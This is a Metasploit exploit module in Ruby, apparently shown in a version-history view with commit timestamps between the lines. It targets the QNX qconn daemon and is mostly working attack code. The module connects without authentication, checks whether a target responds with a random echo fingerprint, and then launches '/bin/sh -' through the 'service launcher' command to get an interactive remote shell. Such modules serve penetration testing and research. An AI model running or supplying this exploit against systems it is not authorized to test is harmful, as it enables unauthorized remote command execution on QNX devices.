metasploit-framework/modules/exploits/unix/misc/qnx_qconn_exec.rb

167 lines
4.0 KiB
Ruby
Raw Normal View History

2012-09-30 07:51:08 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-30 07:51:08 +00:00
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2012-09-30 07:51:08 +00:00
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Module::Deprecated
deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn_exec')
2012-09-30 07:51:08 +00:00
2018-03-22 06:25:44 +00:00
def initialize(info = {})
2013-08-30 21:28:54 +00:00
super(update_info(info,
2018-03-22 06:25:44 +00:00
'Name' => 'QNX qconn Command Execution',
2013-08-30 21:28:54 +00:00
'Description' => %q{
2018-03-22 06:25:44 +00:00
This module uses the qconn daemon on QNX systems to gain a shell.
The QNX qconn daemon does not require authentication and allows
remote users to execute arbitrary operating system commands.
2018-03-24 00:23:12 +00:00
This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
and 6.5.0 SP1 (x86).
2013-08-30 21:28:54 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2018-03-22 06:25:44 +00:00
'David Odell', # Discovery
'Mor!p3r', # PoC
'Brendan Coles' # Metasploit
2013-08-30 21:28:54 +00:00
],
'References' =>
[
2018-03-22 06:25:44 +00:00
['EDB', '21520'],
['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
2013-08-30 21:28:54 +00:00
],
'Payload' =>
{
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
2018-03-22 06:25:44 +00:00
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
2013-08-30 21:28:54 +00:00
},
2018-03-22 06:25:44 +00:00
'DefaultOptions' =>
2013-08-30 21:28:54 +00:00
{
'WfsDelay' => 10,
2018-03-22 06:25:44 +00:00
'PAYLOAD' => 'cmd/unix/interact'
2013-08-30 21:28:54 +00:00
},
2018-03-22 06:25:44 +00:00
'Platform' => 'unix', # QNX Neutrino
2013-08-30 21:28:54 +00:00
'Arch' => ARCH_CMD,
2018-03-22 06:25:44 +00:00
'Targets' => [['Automatic', {}]],
2013-08-30 21:28:54 +00:00
'Privileged' => false,
'DisclosureDate' => 'Sep 4 2012',
'DefaultTarget' => 0))
register_options(
[
2018-03-22 06:25:44 +00:00
Opt::RPORT(8000),
OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
])
2013-08-30 21:28:54 +00:00
end
2012-09-30 07:51:08 +00:00
2013-08-30 21:28:54 +00:00
def check
2018-03-22 06:25:44 +00:00
vprint_status 'Sending check...'
2012-09-30 07:51:08 +00:00
2013-08-30 21:28:54 +00:00
connect
2018-03-22 06:25:44 +00:00
res = sock.get_once(-1, 10)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
2012-09-30 07:51:08 +00:00
2018-03-22 06:25:44 +00:00
unless res.include? 'QCONN'
return CheckCode::Safe
2013-08-30 21:28:54 +00:00
end
2012-09-30 07:51:08 +00:00
2018-03-22 06:25:44 +00:00
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
if res.nil? || !res.include?('OK')
return CheckCode::Safe
end
Rex.sleep 1
res = sock.get_once(-1, 10)
if res.nil? || !res.include?(fingerprint)
return CheckCode::Safe
end
disconnect
CheckCode::Vulnerable
2013-08-30 21:28:54 +00:00
end
2012-09-30 07:51:08 +00:00
2013-08-30 21:28:54 +00:00
def exploit
2018-03-22 06:25:44 +00:00
unless check == CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
2012-09-30 07:51:08 +00:00
2013-08-30 21:28:54 +00:00
connect
2018-03-22 06:25:44 +00:00
res = sock.get_once(-1, 10)
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.include? 'QCONN'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
sock.put "service launcher\n"
res = sock.get_once(-1, 10)
if res.nil? || !res.include?('OK')
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
print_status 'Sending payload...'
sock.put "start/flags run #{datastore['SHELL']} -\n"
Rex.sleep 1
unless negotiate_shell sock
fail_with Failure::UnexpectedReply, 'Unexpected reply'
2013-08-30 21:28:54 +00:00
end
2018-03-22 06:25:44 +00:00
print_good 'Payload sent successfully'
2013-08-30 21:28:54 +00:00
handler
2018-03-22 06:25:44 +00:00
end
def negotiate_shell(sock)
Timeout.timeout(15) do
while true
data = sock.get_once(-1, 10)
if !data || data.length.zero?
return nil
end
2012-09-30 07:51:08 +00:00
2018-03-22 06:25:44 +00:00
if data.include?('#') || data.include?('No controlling tty')
return true
end
Rex.sleep 0.5
end
end
rescue ::Timeout::Error
return nil
2013-08-30 21:28:54 +00:00
end
2012-09-30 07:51:08 +00:00
end